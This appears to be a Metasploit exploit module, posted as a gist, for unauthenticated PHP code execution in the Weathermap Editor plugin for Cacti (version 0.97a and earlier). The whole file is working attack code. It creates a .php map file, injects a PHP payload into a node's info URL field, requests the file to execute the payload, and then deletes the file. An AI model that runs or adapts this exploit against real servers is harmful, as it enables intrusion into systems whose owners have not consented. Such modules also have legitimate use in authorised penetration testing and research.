Weathermap Editor (cacti plugin) Arbitrary Code Execution
## | |
# This file is part of the Metasploit Framework and may be subject to | |
# redistribution and commercial restrictions. Please see the Metasploit | |
# web site for more information on licensing and terms of use. | |
# http://metasploit.com/ | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Weathermap Editor Arbitrary Code Execution', | |
'Description' => %q{ | |
This module exploits an arbitrary PHP code execution flaw in the Weathermap | |
Editor Cacti plugin. Authentication is not required to exploit the bug. | |
Version 0.97a and earlier of Weathermap Editor are affected. | |
}, | |
'Author' => | |
[ | |
'Gerry Eisenhaur', # Vulnerability Discovery and Metasploit module | |
], | |
'License' => BSD_LICENSE, | |
'References' => [], | |
'Privileged' => false, | |
'Platform' => ['php'], | |
'Arch' => ARCH_PHP, | |
'Payload' => | |
{ | |
'Keys' => ['php'], | |
}, | |
'Targets' => [ ['Automatic', { }] ], | |
'DefaultTarget' => 0, | |
'DisclosureDate' => 'Apr 1 2013')) | |
register_options( | |
[ | |
OptBool.new('SSL', [true, 'Use SSL', false]), | |
OptString.new('URI', [ true, "The full URI path to editor.php", '/plugins/weathermap/editor.php']), | |
], self.class) | |
end | |
def check | |
response = send_request_cgi({ | |
'method' => "GET", | |
'uri' => normalize_uri(datastore['URI']), | |
}, 25) | |
if response.code == 200 and response.body =~ /\<title\>PHP Weathermap Editor/ | |
return Exploit::CheckCode::Vulnerable | |
end | |
return Exploit::CheckCode::Safe | |
end | |
def exploit | |
mapname = "." + Rex::Text.rand_text_alpha(8) + ".php" | |
uri = normalize_uri(datastore['URI']) | |
print_status("Creating new map: #{mapname}") | |
response = send_request_cgi({ | |
'method' => "GET", | |
'uri' => uri, | |
'vars_get' => { | |
'action' => 'newmap', | |
'mapname' => mapname | |
} | |
}) | |
if response and response.code != 200 | |
print_error("Error creating map!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
print_status("Adding a node to the map.") | |
response = send_request_cgi({ | |
'method' => "POST", | |
'uri' => uri, | |
'vars_post' => { | |
'action' => 'add_node', | |
'mapname' => mapname | |
} | |
}) | |
if response and response.code != 200 | |
print_error("Error creating new node!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
if not response.body =~ /\<pre\>added a node called (node[\d]*) at/ | |
print_error("No node name found") | |
fail_with(Exploit::Failure::UnexpectedReply, "No node name found") | |
end | |
print_status("Sending payload...") | |
clean_up_payload = framework.payloads.create('php/exec') | |
clean_up_payload.datastore["CMD"] = "rm #{mapname}" | |
response = send_request_cgi({ | |
'method' => "POST", | |
'uri' => uri, | |
'vars_post' => { | |
'action' => 'set_node_properties', | |
'mapname' => mapname, | |
'node_name' => $1, | |
'node_infourl' => "<?php #{payload.encoded}; #{clean_up_payload.generate} ?>" | |
} | |
}) | |
if response and response.code != 200 | |
print_error("Error setting attributes on node!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
print_status("Executing payload...") | |
response = send_request_cgi({ | |
'method' => "GET", | |
'uri' => uri.sub('editor.php', 'configs/') + mapname | |
}) | |
if response and response.code != 200 | |
print_error("Error executing payload!") | |
fail_with(Exploit::Failure::UnexpectedReply, "Server returned: (#{response.code})") | |
end | |
print_status("Done.") | |
handler | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment